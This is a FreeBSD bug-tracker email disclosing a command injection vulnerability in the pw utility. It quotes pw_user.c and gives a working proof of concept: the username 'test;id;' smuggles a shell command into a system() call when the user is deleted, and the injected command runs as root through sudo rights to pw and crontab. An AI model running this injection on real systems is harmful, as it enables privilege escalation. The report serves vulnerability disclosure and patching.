From nobody Mon May 15 06:09:40 2023 X-Original-To: standards@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4QKTVD3jTVz4BCTw for ; Mon, 15 May 2023 06:09:40 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4QKTVD0xqmz3Jpc for ; Mon, 15 May 2023 06:09:40 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1684130980; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding; bh=rITRU+yTQtXTgRA4UykSXIOfSJ6btVhsQwYmtVa4xSY=; b=wAGHXkTOx5s7hIzshPdQJXI+CEEKIFoQaP50dtCNjoQElXkSo6fnQi3RPbUE4FiUKQ3Jsj km5ZWB8JfOcJ4+sSt11ZMCjv79wlpzICrzyyQT+RHhjF5F/caOcTUnUff80wWQFrLXW3T1 +KUCduE5K+5/Ag+swAxW8iPmSCY+om9+bhxitGXTZDT5qBZJoVxr1Bteo6/iw048R9+84N lFK7ZDO0NyXUHkxWUXr3/+iOMsUTK5Ha9MD8sMucwCXwj627R88lHOOLVbphQA+VTHsi5y t9Ky3p7+5nEQpgmhNAjW/pdo4IsYCSkr0/01T61DTUZ1lYGRw0+CdkrcHhJaMA== ARC-Authentication-Results: i=1; mx1.freebsd.org; none ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1684130980; a=rsa-sha256; cv=none; b=goA0nnFL8yXj95Zbi+4b5yIF56rfvHJI7ezvHlH7YqPZGVWgiRdUlP8G0/ALz4ibV6q32T PHvMyazJRe9zI0RlGzaQ4//PvzGq+j91NCqldH2KrU+JLdHMT4Jhl4GJe8Rss5A3XAgRby NBKZGmYdR5Vt/yRj4222KTDuji5zLk1wXok4xkoYOTURGG1H+5kVfmJGxw/06cIllLBjjp Dq8PE1swisC+49rf/Nl5ySZllLvsmWsVnkSKn2lbvnqcPXIT2E7NRrnJCSZi2oMv5F8IFP 7czvLJjETVxLreD6L5ME2XNSLPfIq/ebtiZgqPsRX+Ond+D0Lx3dhUYSH4jP3A== Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4QKTVC71nJzVMQ for ; Mon, 15 May 2023 06:09:39 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 34F69dlk006146 for ; Mon, 15 May 2023 06:09:39 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 34F69djx006145 for standards@FreeBSD.org; Mon, 15 May 2023 06:09:39 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 271427] FreeBSD pw command injection vulnerability Date: Mon, 15 May 2023 06:09:40 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: new X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: standards X-Bugzilla-Version: 13.2-RELEASE X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Only Me X-Bugzilla-Who: 858573819@qq.com X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: standards@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: bug_id short_desc product version rep_platform op_sys bug_status bug_severity priority component assigned_to reporter attachments.created Message-ID: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Standards compliance List-Archive: https://lists.freebsd.org/archives/freebsd-standards List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-standards@freebsd.org X-BeenThere: freebsd-standards@freebsd.org MIME-Version: 1.0 X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D271427 Bug ID: 271427 Summary: FreeBSD pw command injection vulnerability Product: Base System Version: 13.2-RELEASE Hardware: Any OS: Any Status: New Severity: Affects Only Me Priority: --- Component: standards Assignee: standards@FreeBSD.org Reporter: 858573819@qq.com Created attachment 242180 --> https://bugs.freebsd.org/bugzilla/attachment.cgi?id=3D242180&action= =3Dedit the describtion of the bug =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Summary =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D I found a command injection vulnerability in the /usr/sbin/pw=20 and tested it successfully on FreeBSD 13.2-RELEASE. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Analysis =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D In usr.sbin/pw/pw_user.c file, the pw_checkname function's badchars filteri= ng of=20 malicious characters is not strict, such as no filtering of semicolons( ; ). badchars filtering is as below: ----------------------------------------- char * pw_checkname(char *name, int gecos) { char showch[8]; const char *badchars, *ch, *showtype; int reject; ch =3D name; reject =3D 0; if (gecos) { /* See if the name is valid as a gecos (comment) field. */ badchars =3D ":"; showtype =3D "gecos field"; } else { /* See if the name is valid as a userid or group. */ badchars =3D " ,\t:+&#%$^()!@~*?<>=3D|\\/\""; showtype =3D "userid/group name"; /* Userids and groups can not have a leading '-'. */ if (*ch =3D=3D '-') reject =3D 1; } ---------------------------------------------------------- So I can use the command: pw add user 'test;id;'=20 to bypass the malicious character check above and=20 a user named 'test;id;' ----------------------------------------------------------- buff@freebsd:~ $ sudo pw user add 'test;id;' buff@freebsd:~ $ sudo pw user show 'test;id;' test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh ---------------------------------------------------------------------------= --------------------------- In the pw_user_del function, when deleting a user, the related crontab tasks will also be=20 deleted by using the system() function to execute the contab command. ---------------------------------------------------------------------------= --------------------------- if (!PWALTDIR()) { /* Remove crontabs */ snprintf(file, sizeof(file), "/var/cron/tabs/%s", pwd->pw_name); if (access(file, F_OK) =3D=3D 0) { // crontab -u test;id; -r snprintf(file, sizeof(file), "crontab -u %s -r", pwd->pw_name); system(file); } } ---------------------------------------------------------------------------= -- If we have a username called 'test;id;', so the system(file) is equal to=20 system("crontab -u test;id;-r "), this command will successfully execute=20 the id command. ---------------------------------------------------------------------------= -- buff@freebsd:~ $ crontab -u test;id;-r crontab: must be privileged to use -u uid=3D1001(buff) gid=3D1001(buff) groups=3D1001(buff) -sh: -r: not found ---------------------------------------------------------------------------= --- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Attack case =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D My account( buff ) is just running the `pw` and `crontab` using for sudo, = and the=20 contents of sudoers are as follows: --------------------------------------------------- buff ALL=3D(root) NOPASSWD:/usr/sbin/pw buff ALL=3D(root) NOPASSWD:/usr/bin/crontab --------------------------------------------------- Next, I created a malicious username using `pw`. ------------------------------------------------------------ buff@freebsd:~ $ sudo pw user add 'test;id;' buff@freebsd:~ $ sudo pw user show 'test;id;' test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh buff@freebsd:~ $ ------------------------------------------------------------------------- Then, I used crontab to create a task for the username 'test;id;'. ------------------------------------------------------------------------- buff@freebsd:~ $ sudo crontab -u 'test;id;' -l 5 * * * * ls buff@freebsd:~ $ ------------------------------------------------------------------------- Finally, using the `pw user del 'test;id;'` command will delete the=20 user and its corresponding crontab task, and execute the=20 malicious injected `id` command. ------------------------------------------------------------------------- buff@freebsd:~ $ sudo pw user del 'test;id;' crontab: user `test' unknown uid=3D0(root) gid=3D0(wheel) groups=3D0(wheel),5(operator) sh: -r: not found buff@freebsd:~ $ ------------------------------------------------------------------------- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Patch =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Enhance the badchars in the pw_checkname function by adding=20 semicolons and other characters that may cause malicious=20 command injection. --=20 You are receiving this mail because: You are the assignee for the bug.=